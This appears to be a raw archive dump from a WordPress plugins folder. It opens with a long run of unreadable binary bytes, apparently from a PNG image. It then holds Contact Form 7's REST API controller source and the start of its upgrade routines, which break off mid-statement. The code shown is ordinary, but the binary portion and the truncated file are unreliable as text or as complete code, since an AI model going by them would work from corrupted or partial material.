1f�H�!�7��	IX8.krK��{2$�Y$��ف����"6��RӴi ���[����jT̽e>܄=|O�j�~'�v}%e3�v�d��sˬ���iw'�����
����i8"LH�`�P�yp�-�|�&2�|/����%g�͙�-�)<&����½�;��nq�1�f\|(Ǝ���3
{�e�\T��2��#�}�16%�4�=������H
>}l@���پ\���<0s�-X0o�r��h���q�SE�D��J.-Q�6`���?@iO΄T��Swo�S]‹z�OP��1��klGwߒ��P,b�+}��^%��)��I�W��3��+
�b
��;����q^Ex#E���`��92���OMU��(K��_*��f_�f�ZL��M�x�M��Q\ی�`Z�Xbҟ9����盰eOv)ƞ���~L�	SSR�­�%'wkF۟'�8|1��e}ޟ�z�,9��ÈB--k����i	�*2P�7�R�u�û;�#ԋ'	u*��Cag�����PF��'�ٳ�),��b�H�@Cڃ�./C�ס2vJh>,;V�$�KY!\����V<����'�YJ����
S�8�&�T����
pKݎگ���<����S�l��ǎFH�"z�$ ��C	�e�l|�~�t��f�4.]:C�y�R��.��>CIi5O�Y�;Yσ9ʐG�����4NI����y���,xZ��C�d_�Sb��B7;��p���A���v.-�+qSn��KA)�	a���Ӊ����a
up�bUʎNt~�/�&+-HW��rP�Ļ �V�ӊ0��� %����ݏ�ޫ�[(��eЌz3o=vL�Z�"M�2ɴ2�.S��
��=���U�)p���@�p3	�}7���y�[�r�K�#��=gL?.�����&W���C����⊸�t��\s�l���N�.*������Ǹ�<���J��j��ٞ�jZUU�h~��g�7{�h�E,6P$��<����_-K���!>���3�L@4��b��#�^�d�
��-��Ȉ��Ĭhb�CN(f�8K�3�k�zg�B���ZbAT3\���L~t��{��՘�R?��?���]�
��O ���Jh��Z�\Rw�l��(�P5X��k�Ғ� ��gm�ڝ
K�J����S�`�p�@�,nd�A�p���>yѤ����Fj��2�\��!�ʾ�fz~q��z��D�_G���K���s���u��^^^������5�q�k���x���xm�Q8s[��ɂFzkxkWҞ��Є
?�W���<��׺H1��r���d��5H�
��@SS3֮�QLj��	�Z�:�œM�k8���Hü1��c�6��כ���>9���E�� �^Y�r���wwx�JN؞v�������ðv%|B��A&���jJ��ڱ�Z�{�V.��t�{De?�#�P���� ��D�Y�=��	�=OT��KH/>�c��ŋX��C(�c�m	S`G���狨�s1{��4y��j���R_!g��E���q��Ϛ���(�Ͽ�v�>������G'�O?z�V�ߟ�7݁��b̚�ќQx�������o�����έ�f�<��o�����0F�q�wI����f��r�Q�.�L�'g�C�8
�#�[�_�.$M�eW#�z7-�I�
}فߧ�g8�x#��^F'�\
Z�	0�H!on�q
u4�|(
��QE�=T��4�ʿ��됹��>A�}¹�E̕��@,�n"�n�&��х2��!�bd���$�TYW^X�čX�z����bk�	�����؄	<�|��'`O�3-���S��_֌__;�����n��W�`���x��/�؋�9��F1�v��M_u��3�qn�Y^���Y��5�����3[����4\��S���!c��0&9��kV�%C$�uS�+�dP0i�0�:7>��n���?O��y1.��C�}u<B��Lޟ���8}�1N���� ?��\e�Z�ό�;�{a�!ܡ
���H�b�{Xh����u�V!��^��s��Q1��(�1QP,yh)�VJ�@O��n�x������ٝ�`K�IN�.���݄��g!4~6��#��\���TB1�����x�-
�T�"��WT��7�`�]�b9��BF{(A)��2k2�D�\�Yy�d���G�q��4�+��wY��[��w���f��R�(-���V�'=!��GaK|p�U����C��,	�2��V���{�Β���>�R�Y0rBC:+ �u��ç{�m۰������J�7Ѽ~�]��4�0ɜ{�ڄ��B&��O���D?2s,�faZytJ��s�@eFb�����ջ��w��=ݽ�4f.�"�a]��k��+�Y��	�/��rI�K��5���3�g�ď�e��s����'�I�١�P�:��{43G6qy�W���X��!�<?ߒKٽ?6~��_&��������i�X��ݏ��g�o�3�#c"�m�B�ɬ)LPbI���
��n����Fߔ�-j�.�Ϗ�>����5wӣr�$h[��\��$�TX��2�i��)N@���r+�"vb"���ՠ8����$�Ľ��m�j�Xڷ�wvJ���i�D��BT�\���†*g92��F��L����r�c�*�up�ٌ��X�|������۶���yp�~ִD*;
b'�b��t<��6`�{��Y�����G�it��ߥ'o��o�<�pMr�]�Xé�L|B���
��O�e0p)F�`��@��l�%q��K:��HH�G��>�\@$;_�1�X����:�&��fW�~K"M5��`A���W�Ҷc����"�Bמ'rb�5�iˣ�s��ګ�U�ɍ��s��x�:��r�Zo�|�3	I/F�)j�����Щ����ޒb⺹3��0�����8;0����́/����HG���8Ru�o6[��]���#��k@�����x,!�� ����n�h�{s4����hc�p{t Ǜ�V�u�#����,D���5���Z�ooB��7��\4�5+�!
���4r�
X�l�b���$te{��iC�*k�c�
�z��
;~��I��}ߣ��7�W��1��yg_�����
�tᶧ�%��p[Y�oٖ��~��}�sZr�{�J�^4N��㲓#��^�n?�e��uPY��՚"j}~V�ۅCt.je����/�c���ǔ��c�����j/�$.�����C��Go�����DB��`�>��9&[�2�R�e�|2��u,�6m�c���%ݝ&��cfA���A
i�cX�V�s��h{�������߈�(3Ӛ�4|�3��i�K+ܸ�?�Q�U��Ǜ�7�O7#�{������E��ל;�Qm�q�z_��M�u���� ��e�\��p�`q
�%�X8g|�శ������xS�˾����)���������x���h���v}�¢b�Z�s�<���7j�%Co��Ǜ�����uT���)�����7���Y`:ѷcA�^Fk4��E���œZ[~n�ħ�����Wo�ȵ�p6m���L��x��{¥(tAeK[���]��H��9�sK��?#{2q��
�\�
�]��c����P����d2$�W/��( my%�����|�F3�iϤ9�Wt�����Vn=t��מ��H?��V_DE!��Ü��|T�#�J��yXj�!���/�džC"5��(c�g��)j<U8��;m�1�%Fm $,II�����[:��i1�↔�"����/c����ȳ�=���_I7�q�����m2i��zթ����!U�u\������"�S\��Kx��|�v���x��$��)kּB*��`fP	�S����O����ZΘ	pO�z���ےwLg@2#&�!�
��*����m�Sk��jP�qG�R��Z��hӜX���n3�g�D�_�����a�������q�Rˣ�1�2�5V:�	��R�B�Ii��C.���3>�`@:p'F�\r�߄1��=N�(�@}�݇=q�i�"��@B��x~`�j�yk�mIW�l>U�l����x��=p�u�/n]�֔Ni�4Zz�__bwq��\:��?l) �F��o6��c4&.�As�F��w�L��G����m�1*:�[ʎ#�0���BU�d:����~�FG+@��h ���k�v(�&Hvq�F�a�>���%yN_�8840vz"}��?~��o�Á����i�>�T��?��3Q���8�o��8]���o	:à�g}��N�PVV��Vlij?d ��q@O���(��{S�����ѣbx���@x�U�()���|��>�Ͼ�ԫ���I_n"����l��G$�p���,��Dz��kаg+��˳9¼���O}��6��$���$�e�q�2&O���o���Hi���$]�60�_p���)��P��q�Q�(��l_�m��֞�~����C;*ܟ���P r/�]�����B�z.)S��y�y�]g��/�ن7ic�Sg�7v�D�(cx��6p�ֱet7�UN8�WXRZ�
�`�כq����p�^�Է�T?��_z�Ll�4!nv4���!Qt(*A	����,��Y�~i���~3ԭ����Ճ�۔����;��W���L��(����lb'�b�YJ�”N����7:������~��8V�iEܾ�aDW`���v�w#p��v$u)q*	���qq����v�NNj�Ƿb`��N�^�;ݽ?]w{�
��T���B%��ڍ܉XF/���L�~6_�^R@���qy��<��h�{8bCܑ��e�6a�Ս(�#��܁wBc
�{���K	�|7|���P�`$����y}�z���C���É^G
߿��k�psP:*<�B0j�y0Ө����Fn�p�O�3�@���\“{�#U�Hf�`����{I�v:h#�&j��̍��L|��A���|���Bm�
�V~�����.�@�u����B#`�;��9��"y�ee�j�Jr���a��t��Z��A��m�=�u��!�F�,�R�E��oD��5H��ɇh��S��g�z�Ã+��� �J�!ZL�RZ��X�M��f�t1H��H��Pxn�M�[��M()>O�q�����4�-�u�������$�|�O����:��߽ĵj���/x�x�څ=I���D|9�16?�N�9oO�x��(L����FՇ�x7
tq��>�ňr*CM�1ۆ���6:p���&���yb_V
��B^g����i-�7�dO>�ED�r��m�X�����3���ȴ���g�y:��B��MT�h�s���tJ~
���5w��1~�pt����;��ը��uw�[n��dS�M�b���R������F�#c$�P��٨3��`��{��-�pz�K�F�����5!20Fw��8��
T�ow4���55��1�^<�8�h�C?�H$�����8f��l����z�N�
DW�#���	���/%�()��J���y��)xw�Ď!�xх�
����S!�)�fF&�=G��9���u
tC��%�]G^��?����kBvv�J��R���׈{:��|��Ҧxb��P���f�=rқ|�"KN�'iE�f=M��Ȥ�2yr�(����!�F��Ag�n@t�=�,#����=ab�Ie�*1@b�K"�x8�j	=Q��N��P@	8BK��w�G`rR4�+����]u/������x���vb�Ve�w�dȵ*xq�O[!�u���S@�@w�%uq�3�,Q�4��ؿ��B�� �E����lnYJ����'��:t
�R@��u��6[5�C��U�kkٞ2Y�`�H�s���P_�6�y�2z�N�}��H�2�Bj�u�*{��C��U���=���}��Z���Z[�$��	��E&=]�@�( cJƖ����o�:c亮�^�p�].�L�-)�c)�(" U	�ip�I�H'pp�NVYQ�(�%�Y")Q�H�/ۖ�:����������H$�͛���3;�ߔ��k�{��s�ml�+,�`S�����p�A�����W�+�v�R���ŀb�
P��Sԭ�W_.v�o#��X��r�����|�7�&�3+�I�1�hCU,�.~��@�P��S�-�������ShKn�z�r
�_�=8�,)���H��*��%J%*Jg��?u�:E��䶮��y���O'Y1���E'��C�Gfŕ��)�MI%(%3��S\�)�\l�c�o0�8���z<��j��8rq�X�� ����I�)Ja����'eaꢶKN�t��;�M�&Ub����wdNZp�T�ˣ�Ð(���;�JS4,��ƿ�N���/����u��Y���X�l���~)�`���� ��n���@>Q*E1P���̑I��O	j�Wu랝�E��w+K
��"GaG�Z�<a=e[tKyqU��&��*A1�Pg:L�G�d�T��O�@��WBL����F�_�̗�����Hss�,�БA�擤R�0�N?�Q�/�
J�����=�ʖ��4/�s��z�Mh�L���6���<J��U�#\���4���Ǎ�u��|�.V$k�xB���!����K�LN��q���2��Sy6��Q:���3�a����Or��gx��Je-�I���m��A�k��
c�s.j����J[���,�$�c�~�=wL]�ޱm�:X�TK#?�+�Eҕ�����Ѵ�D1��g`��; �И����ͺ��e�U����G�A �*�L3�0y�k����2dE�b`�N�ȝ���s2�wҨX_�_^�w��ÿ��Ĉ�):"-�	fu
�q?����d ��4W|L2��b���תu���x=��p␟��<���iwʃ�;d(n�j��H%4!�o
���y�]�bQ�d>�(����j��:p8��ph^,V��l�-4^(��4,􌏸�V��Y�d�`�X��J5ɪ��q� ��]�s����p$���vY��[�������b�˳��1��)�d����4�@�d=/����E�J3q��;{ďUP�%�u3�D��d�^~��Ǽ��N��d
��c����j����ș��ǁ</�7���(��.�j�)�4�K�ˈ4%����@�]�����Y��wQ҅��]|�|	�U��2�P?p��HV��ٳs�X��`aD�ʳ:{�$�@�2@��?]ִX����w~T�V^E������^�:p8��@3�+��7d��37�لuR�[�pNSF�h?{��b��C��N�X�4�&6W8�'�{�$��g�e�^Y1�4#��1oO���/��ڰ�g{zN|��	���9ҏ~����cj���Nץ`��/�e_�Yl��:��M��R���:��t`����2��HzCy[�(���p�7���/�!Ȧ� O8jplbB��j+�F1	2	SF �*�P����;�i�]�7Ϝ1��;<�9pXW5Xo���d��~�i)�|p���!���W�f,3�Z�H��C����kL��>9q�{P~�{���Ri������Iex�#�
��#XVČ��]��v�h̓���sR��XW�P�ݶ��V|r��K��߰�[������u�i��q�������I{�q9�%��ѕСJ%�<|�{�Y�G��/�}��w����l��T�#ixG����
�te��D�m�#M�m�&�v�D1P/$���Y���$�qcy
�?Lg��֍6�����+a�A1����n�$zJ)�K�J�1��{�&1�|2q�dn�=�
�M��Z����]�ns�`���L�EĹ|M���b�TIR)*x5j�b�8|G�6���dj�2;���PX�
0h�k�6n��[!O�)�~
((��Iiq[���+!s������
ҥ6l"|��������K2<̹;��'��5�!�
��2�Q���C�Go@WR`uy�/^�2��Ě`�n�
ʿ�4%�K2:tA|y�T���G
gM[6��“'a,�1@W�0� ���F�I��b�	���.]*q��aX/�;P��[g$b�ϗM���i�O�6���	\����%8QJ8���$-�����"ҔcJ6��\�/�4 Q���)?]}v��a�}���k#���<X�<�'07�fۊحNi�a��#oo���.�ЃM}fD�'��:��$9�oaasK}��c�M�Z1$�-4M��n�a��¼�"C҆�DܮV	a.Up��(Yo��E�s&ż<*c��@������jBj�P�	�8�����$%��SZZwK�ۃ�V���2`Nɺ1@�gq�kôv�>�]~^��2*�7��恚yMk�����3B\��¡��"z����H4k�
5�.�Hɖa�1}���FѷXN�|Q��l���)�a=��񪺹�o���3��	03���\�C��b�5�Y�F����Ur�g�i��yt����!'O����9<��ׁ/5����Z4���x�=@��-3�ߔC=^,<╔	�� @��)QT��!�h�5��ô$��E9y�UmT_��=l�G W�竘�%�YR� �=�D�X.1�{u(���n�J��
��o@M4�ϕJ)�j+�ݒ���$�N��g�A�Q��G��P��
|������Kي���9
/��{0<��Z��2��k^@�ܨ���ԍf��M�'Ć��o|[�P��;fp=��>�,`������=��-u��%�N�ɍ#.���+]�m2��kn\��*]1p/q.��
�������w��T�����;�Լԋ �t�8��-ࣀ0���Aiw�d��&Ici�`ڤz2�6�sO'B��M�4���?�v��ppۓ��u����z2�^z'�'T��ea~FB����Jo[�%��@4WU	�yk��,�Y�|ț���%�{M��G��s41X�q��*��u#�fH,�U���]�a��d2�F#��kSL�vaX1�)��11��D1��<^�Ev�ȴ��u팄BK�*?�����R~>�z4�n�%���2��ὤS	YNI"�,�tD��꒑�
F@y�!�~z4k�G��ٱK��I,ξ;E�w�1�h�Pz��kE��V.��:8��U�
�S�a\ ��H`i��%�Nʑ��1���e�^�55�&�ݘ��>۴L�.������K*]R!>�C|xX�V���x�k�_����C���0;*.kJRX��pG�2N�'��j���W�Yw��ﲘ�gH�&�Hd�ܼ�J}�%�w��O��JrJ:�&e�
������\����MK:Џ��6���-.�6� ��!o���%>��<P����x�c��㚌�xU��'�$������g|��^���=.<‡�z����n�GEpffTZlAI����c�&�SV0�0��T�P�n?��N(�.{J��g$<}S���e�´r�;C�#���nm�j�J��\��9��^�	��[���t6���؊�Ǽv�,c�2vQ3��&7�=�d�⧥%� ��!�.ɕ�oiϚϼ�0�w�W�a���;"O�Ȗ��;��;�ǁ�:��J��E�!�#�I]��v1;�e&i��&���Jj��$�f6�v[J2q�ě�C5�\�Lǐ]y�._I�5d�P��q}�V6����~���i�h�!�yOy�8ڏ�Bv�8�^�OY��N?�^6�c�CNC���:؍��Ҏ�{�kr��w��\W"c��kW����}~S�|�VS���V6�>"7>|�p�a���Ǥ�縌'an,\
�o7�%�����1g�ằx3�,ɢ�]����ᲄ�ׁ�`Ur�K#���T�x�'(Y������`l.
W��<@#�Y2qU�H�'�n(>�q������Sr���3�>�~����@�H#���S�C�@k�O�����t��Nɚ,0f�/h#�Z.����3j�4��Ϧe�%*��)9���r���T|�"e�?^N�]e��
��ZP6'?�ēb��G��mZ�RD��:)_X%kg����+&�pc����£��Trp>F����_��_�'e��[��v���O�T$ǎ��=G$j�3�#`�B����,1�i/J�{�Q�p�%Y`�\��=�|��eV?y���><
x��ČfD��.�dL~�ò����-t�Rf&�ly���^���6�uY����gez�\�x��b��d�R�������P�6+��"�>Y`����)�7��-�C�X�,��G�Ȟ���z�*��K�1���,�ڭ��\��0�&��M�l�i�`η���ޒ�kפ�m��JP��x�����|
`�6��M��1q�7��c	�	|��<e���%�-]����m���{'F!������.G$��e��EHKw����Ǵב�V˲ģ�208 +�:�$%���q(S�|6t�^ة�who���V}���5��G��C��'�g��@ły'�k���[P-p���C���,��[��6�,JEV��U�F��Hm[UxT��V,��I6]��%�X���a(~�`�C23=&\�q�����m���!�@)�(�G����k7F!v���+��]�V���&o+�5�a��l�0�
��]Xs�NmV�7�[v�b�Υ���,���%���Y/��_l�8z�%%�Ȕ����uJ�E*<��A�M|J�0�@�t6�j@/�Ճ�~��"6e���r�A��Ja�"�Gv�o�6��DWd��� �pҡUV0�	MA^CN,�:���Cf���L)��2��
���*,����m��s�S�i�$���
�X�^J*�fk՚��De�7����1�$�8Ϋ�����X�WR"�?�wP��b`/��#�1���R�YK��V��{P\�V�����GfO8��Xaw��b[mn��<��7�ȭ��LeaTc mA������3��jI��MZ3̍^�$��^H*Ռͥ�Y�n��-@:�,1(���'���.#�y`'���@I(Piv�1�?�-��<x�Av1#�Њ!�V�τ��0�ı
i� �.,�Ĕ�m4X
NJ�w��V�ff>�ђ�E)����\�Jo{C����!}o,�W��ᇒ�P�r�
�ق
4���&��V@I�������\��ķ�*1�@��,p;�?�8@���`�꾒�`cɧŸ�@N���cr9�wQ�(JQ��^T�G���хo��$��l�'��ӟ��w��wnW�+d@�
���nn���~�;h����Z��.�2��0�.���[�3��np:>����C�.=4�-@���C�>7���@e���9�=�=��9 a��V_���V��j�
67����	�O����8�����H0��B�e=�BE'��9���l�[�����o�UR�(P���K�Ah�1��a���:�� 0`�4�r�
M��;B�Tho��g��.=�_I�1�.��x[IEND�B`�contact-form-7/includes/rest-api.php000064400000031612147510273060013357 0ustar00<?php

add_action(
	'rest_api_init',
	static function () {
		$controller = new WPCF7_REST_Controller;
		$controller->register_routes();
	},
	10, 0
);


class WPCF7_REST_Controller {

	const route_namespace = 'contact-form-7/v1';

	public function register_routes() {

		register_rest_route( self::route_namespace,
			'/contact-forms',
			array(
				array(
					'methods' => WP_REST_Server::READABLE,
					'callback' => array( $this, 'get_contact_forms' ),
					'permission_callback' => static function () {
						if ( current_user_can( 'wpcf7_read_contact_forms' ) ) {
							return true;
						} else {
							return new WP_Error( 'wpcf7_forbidden',
								__( "You are not allowed to access contact forms.", 'contact-form-7' ),
								array( 'status' => 403 )
							);
						}
					},
				),
				array(
					'methods' => WP_REST_Server::CREATABLE,
					'callback' => array( $this, 'create_contact_form' ),
					'permission_callback' => static function () {
						if ( current_user_can( 'wpcf7_edit_contact_forms' ) ) {
							return true;
						} else {
							return new WP_Error( 'wpcf7_forbidden',
								__( "You are not allowed to create a contact form.", 'contact-form-7' ),
								array( 'status' => 403 )
							);
						}
					},
				),
			)
		);

		register_rest_route( self::route_namespace,
			'/contact-forms/(?P<id>\d+)',
			array(
				array(
					'methods' => WP_REST_Server::READABLE,
					'callback' => array( $this, 'get_contact_form' ),
					'permission_callback' => static function ( WP_REST_Request $request ) {
						$id = (int) $request->get_param( 'id' );

						if ( current_user_can( 'wpcf7_edit_contact_form', $id ) ) {
							return true;
						} else {
							return new WP_Error( 'wpcf7_forbidden',
								__( "You are not allowed to access the requested contact form.", 'contact-form-7' ),
								array( 'status' => 403 )
							);
						}
					},
				),
				array(
					'methods' => WP_REST_Server::EDITABLE,
					'callback' => array( $this, 'update_contact_form' ),
					'permission_callback' => static function ( WP_REST_Request $request ) {
						$id = (int) $request->get_param( 'id' );

						if ( current_user_can( 'wpcf7_edit_contact_form', $id ) ) {
							return true;
						} else {
							return new WP_Error( 'wpcf7_forbidden',
								__( "You are not allowed to access the requested contact form.", 'contact-form-7' ),
								array( 'status' => 403 )
							);
						}
					},
				),
				array(
					'methods' => WP_REST_Server::DELETABLE,
					'callback' => array( $this, 'delete_contact_form' ),
					'permission_callback' => static function ( WP_REST_Request $request ) {
						$id = (int) $request->get_param( 'id' );

						if ( current_user_can( 'wpcf7_delete_contact_form', $id ) ) {
							return true;
						} else {
							return new WP_Error( 'wpcf7_forbidden',
								__( "You are not allowed to access the requested contact form.", 'contact-form-7' ),
								array( 'status' => 403 )
							);
						}
					},
				),
			)
		);

		register_rest_route( self::route_namespace,
			'/contact-forms/(?P<id>\d+)/feedback',
			array(
				array(
					'methods' => WP_REST_Server::CREATABLE,
					'callback' => array( $this, 'create_feedback' ),
					'permission_callback' => '__return_true',
				),
			)
		);

		register_rest_route( self::route_namespace,
			'/contact-forms/(?P<id>\d+)/feedback/schema',
			array(
				array(
					'methods' => WP_REST_Server::READABLE,
					'callback' => array( $this, 'get_schema' ),
					'permission_callback' => '__return_true',
				),
				'schema' => 'wpcf7_swv_get_meta_schema',
			)
		);

		register_rest_route( self::route_namespace,
			'/contact-forms/(?P<id>\d+)/refill',
			array(
				array(
					'methods' => WP_REST_Server::READABLE,
					'callback' => array( $this, 'get_refill' ),
					'permission_callback' => '__return_true',
				),
			)
		);
	}

	public function get_contact_forms( WP_REST_Request $request ) {
		$args = array();

		$per_page = $request->get_param( 'per_page' );

		if ( null !== $per_page ) {
			$args['posts_per_page'] = (int) $per_page;
		}

		$offset = $request->get_param( 'offset' );

		if ( null !== $offset ) {
			$args['offset'] = (int) $offset;
		}

		$order = $request->get_param( 'order' );

		if ( null !== $order ) {
			$args['order'] = (string) $order;
		}

		$orderby = $request->get_param( 'orderby' );

		if ( null !== $orderby ) {
			$args['orderby'] = (string) $orderby;
		}

		$search = $request->get_param( 'search' );

		if ( null !== $search ) {
			$args['s'] = (string) $search;
		}

		$items = WPCF7_ContactForm::find( $args );

		$response = array();

		foreach ( $items as $item ) {
			$response[] = array(
				'id' => $item->id(),
				'hash' => $item->hash(),
				'slug' => $item->name(),
				'title' => $item->title(),
				'locale' => $item->locale(),
			);
		}

		return rest_ensure_response( $response );
	}

	public function create_contact_form( WP_REST_Request $request ) {
		$id = (int) $request->get_param( 'id' );

		if ( $id ) {
			return new WP_Error( 'wpcf7_post_exists',
				__( "Cannot create existing contact form.", 'contact-form-7' ),
				array( 'status' => 400 )
			);
		}

		$args = $request->get_params();
		$args['id'] = -1; // Create
		$context = $request->get_param( 'context' );
		$item = wpcf7_save_contact_form( $args, $context );

		if ( ! $item ) {
			return new WP_Error( 'wpcf7_cannot_save',
				__( "There was an error saving the contact form.", 'contact-form-7' ),
				array( 'status' => 500 )
			);
		}

		$response = array(
			'id' => $item->id(),
			'slug' => $item->name(),
			'title' => $item->title(),
			'locale' => $item->locale(),
			'properties' => $this->get_properties( $item ),
			'config_errors' => array(),
		);

		if ( wpcf7_validate_configuration() ) {
			$config_validator = new WPCF7_ConfigValidator( $item );
			$config_validator->validate();

			$response['config_errors'] = $config_validator->collect_error_messages();

			if ( 'save' == $context ) {
				$config_validator->save();
			}
		}

		return rest_ensure_response( $response );
	}

	public function get_contact_form( WP_REST_Request $request ) {
		$id = (int) $request->get_param( 'id' );
		$item = wpcf7_contact_form( $id );

		if ( ! $item ) {
			return new WP_Error( 'wpcf7_not_found',
				__( "The requested contact form was not found.", 'contact-form-7' ),
				array( 'status' => 404 )
			);
		}

		$response = array(
			'id' => $item->id(),
			'slug' => $item->name(),
			'title' => $item->title(),
			'locale' => $item->locale(),
			'properties' => $this->get_properties( $item ),
		);

		return rest_ensure_response( $response );
	}

	public function update_contact_form( WP_REST_Request $request ) {
		$id = (int) $request->get_param( 'id' );
		$item = wpcf7_contact_form( $id );

		if ( ! $item ) {
			return new WP_Error( 'wpcf7_not_found',
				__( "The requested contact form was not found.", 'contact-form-7' ),
				array( 'status' => 404 )
			);
		}

		$args = $request->get_params();
		$context = $request->get_param( 'context' );
		$item = wpcf7_save_contact_form( $args, $context );

		if ( ! $item ) {
			return new WP_Error( 'wpcf7_cannot_save',
				__( "There was an error saving the contact form.", 'contact-form-7' ),
				array( 'status' => 500 )
			);
		}

		$response = array(
			'id' => $item->id(),
			'slug' => $item->name(),
			'title' => $item->title(),
			'locale' => $item->locale(),
			'properties' => $this->get_properties( $item ),
			'config_errors' => array(),
		);

		if ( wpcf7_validate_configuration() ) {
			$config_validator = new WPCF7_ConfigValidator( $item );
			$config_validator->validate();

			$response['config_errors'] = $config_validator->collect_error_messages();

			if ( 'save' == $context ) {
				$config_validator->save();
			}
		}

		return rest_ensure_response( $response );
	}

	public function delete_contact_form( WP_REST_Request $request ) {
		$id = (int) $request->get_param( 'id' );
		$item = wpcf7_contact_form( $id );

		if ( ! $item ) {
			return new WP_Error( 'wpcf7_not_found',
				__( "The requested contact form was not found.", 'contact-form-7' ),
				array( 'status' => 404 )
			);
		}

		$result = $item->delete();

		if ( ! $result ) {
			return new WP_Error( 'wpcf7_cannot_delete',
				__( "There was an error deleting the contact form.", 'contact-form-7' ),
				array( 'status' => 500 )
			);
		}

		$response = array( 'deleted' => true );

		return rest_ensure_response( $response );
	}

	public function create_feedback( WP_REST_Request $request ) {
		$content_type = $request->get_header( 'Content-Type' );

		if ( ! str_starts_with( $content_type, 'multipart/form-data' ) ) {
			return new WP_Error( 'wpcf7_unsupported_media_type',
				__( "The request payload format is not supported.", 'contact-form-7' ),
				array( 'status' => 415 )
			);
		}

		$url_params = $request->get_url_params();

		$item = null;

		if ( ! empty( $url_params['id'] ) ) {
			$item = wpcf7_contact_form( $url_params['id'] );
		}

		if ( ! $item ) {
			return new WP_Error( 'wpcf7_not_found',
				__( "The requested contact form was not found.", 'contact-form-7' ),
				array( 'status' => 404 )
			);
		}

		$unit_tag = wpcf7_sanitize_unit_tag(
			$request->get_param( '_wpcf7_unit_tag' )
		);

		if ( empty( $unit_tag ) ) {
			return new WP_Error( 'wpcf7_unit_tag_not_found',
				__( "There is no valid unit tag.", 'contact-form-7' ),
				array( 'status' => 400 )
			);
		}

		$result = $item->submit();

		$response = array_merge( $result, array(
			'into' => sprintf( '#%s', $unit_tag ),
			'invalid_fields' => array(),
		) );

		if ( ! empty( $result['invalid_fields'] ) ) {
			$invalid_fields = array();

			foreach ( (array) $result['invalid_fields'] as $name => $field ) {
				if ( ! wpcf7_is_name( $name ) ) {
					continue;
				}

				$name = strtr( $name, '.', '_' );

				$invalid_fields[] = array(
					'field' => $name,
					'message' => $field['reason'],
					'idref' => $field['idref'],
					'error_id' => sprintf(
						'%1$s-ve-%2$s',
						$unit_tag,
						$name
					),
				);
			}

			$response['invalid_fields'] = $invalid_fields;
		}

		$response = wpcf7_apply_filters_deprecated(
			'wpcf7_ajax_json_echo',
			array( $response, $result ),
			'5.2',
			'wpcf7_feedback_response'
		);

		$response = apply_filters( 'wpcf7_feedback_response', $response, $result );

		return rest_ensure_response( $response );
	}


	public function get_schema( WP_REST_Request $request ) {
		$url_params = $request->get_url_params();

		$item = null;

		if ( ! empty( $url_params['id'] ) ) {
			$item = wpcf7_contact_form( $url_params['id'] );
		}

		if ( ! $item ) {
			return new WP_Error( 'wpcf7_not_found',
				__( "The requested contact form was not found.", 'contact-form-7' ),
				array( 'status' => 404 )
			);
		}

		$schema = $item->get_schema();

		$response = isset( $schema ) ? $schema->to_array() : array();

		return rest_ensure_response( $response );
	}


	public function get_refill( WP_REST_Request $request ) {
		$id = (int) $request->get_param( 'id' );
		$item = wpcf7_contact_form( $id );

		if ( ! $item ) {
			return new WP_Error( 'wpcf7_not_found',
				__( "The requested contact form was not found.", 'contact-form-7' ),
				array( 'status' => 404 )
			);
		}

		$response = wpcf7_apply_filters_deprecated(
			'wpcf7_ajax_onload',
			array( array() ),
			'5.2',
			'wpcf7_refill_response'
		);

		$response = apply_filters( 'wpcf7_refill_response', array() );

		return rest_ensure_response( $response );
	}

	private function get_properties( WPCF7_ContactForm $contact_form ) {
		$properties = $contact_form->get_properties();

		$properties['form'] = array(
			'content' => (string) $properties['form'],
			'fields' => array_map(
				static function ( WPCF7_FormTag $form_tag ) {
					return array(
						'type' => $form_tag->type,
						'basetype' => $form_tag->basetype,
						'name' => $form_tag->name,
						'options' => $form_tag->options,
						'raw_values' => $form_tag->raw_values,
						'labels' => $form_tag->labels,
						'values' => $form_tag->values,
						'pipes' => $form_tag->pipes instanceof WPCF7_Pipes
							? $form_tag->pipes->to_array()
							: $form_tag->pipes,
						'content' => $form_tag->content,
					);
				},
				$contact_form->scan_form_tags()
			),
		);

		$properties['additional_settings'] = array(
			'content' => (string) $properties['additional_settings'],
			'settings' => array_filter( array_map(
				static function ( $setting ) {
					$pattern = '/^([a-zA-Z0-9_]+)[\t ]*:(.*)$/';

					if ( preg_match( $pattern, $setting, $matches ) ) {
						$name = trim( $matches[1] );
						$value = trim( $matches[2] );

						if ( in_array( $value, array( 'on', 'true' ), true ) ) {
							$value = true;
						} elseif ( in_array( $value, array( 'off', 'false' ), true ) ) {
							$value = false;
						}

						return array( $name, $value );
					}

					return false;
				},
				explode( "\n", $properties['additional_settings'] )
			) ),
		);

		return $properties;
	}

	private function get_argument_schema() {
		return array(
			'id' => array(
				'description' => __( "Unique identifier for the contact form.", 'contact-form-7' ),
				'type' => 'integer',
				'required' => true,
			),
		);
	}

}
contact-form-7/includes/upgrade.php000064400000005777147510273060013277 0ustar00<?php

add_action( 'wpcf7_upgrade', 'wpcf7_upgrade_58', 10, 2 );

/**
 * Runs functions necessary when upgrading from old plugin versions before 5.8.
 *
 * @since 5.8.0 New `_config_validation` post meta is introduced.
 */
function wpcf7_upgrade_58( $new_ver, $old_ver ) {
	if ( ! version_compare( $old_ver, '5.8-dev', '<' ) ) {
		return;
	}

	$posts = WPCF7_ContactForm::find( array(
		'post_status' => 'any',
		'posts_per_page' => -1,
	) );

	foreach ( $posts as $post ) {
		$post_id = $post->id();

		// Delete the old post meta for config-validation results.
		delete_post_meta( $post_id, '_config_errors' );

		// Add the contact form hash.
		add_post_meta( $post_id, '_hash',
			wpcf7_generate_contact_form_hash( $post_id ),
			true // Unique
		);
	}
}


add_action( 'wpcf7_upgrade', 'wpcf7_convert_to_cpt', 10, 2 );

/**
 * Converts old data in the dedicated database table to custom posts.
 *
 * @since 3.0.0 `wpcf7_contact_form` CPT is introduced.
 */
function wpcf7_convert_to_cpt( $new_ver, $old_ver ) {
	global $wpdb;

	if ( ! version_compare( $old_ver, '3.0-dev', '<' ) ) {
		return;
	}

	$old_rows = array();

	$table_name = $wpdb->prefix . "contact_form_7";

	if ( $wpdb->get_var( "SHOW TABLES LIKE '$table_name'" ) ) {
		$old_rows = $wpdb->get_results( "SELECT * FROM $table_name" );
	} elseif ( $opt = get_option( 'wpcf7' )
	and ! empty( $opt['contact_forms'] ) ) {
		foreach ( (array) $opt['contact_forms'] as $key => $value ) {
			$old_rows[] = (object) array_merge(
				$value,
				array( 'cf7_unit_id' => $key )
			);
		}
	}

	foreach ( (array) $old_rows as $row ) {
		$q = "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_old_cf7_unit_id'"
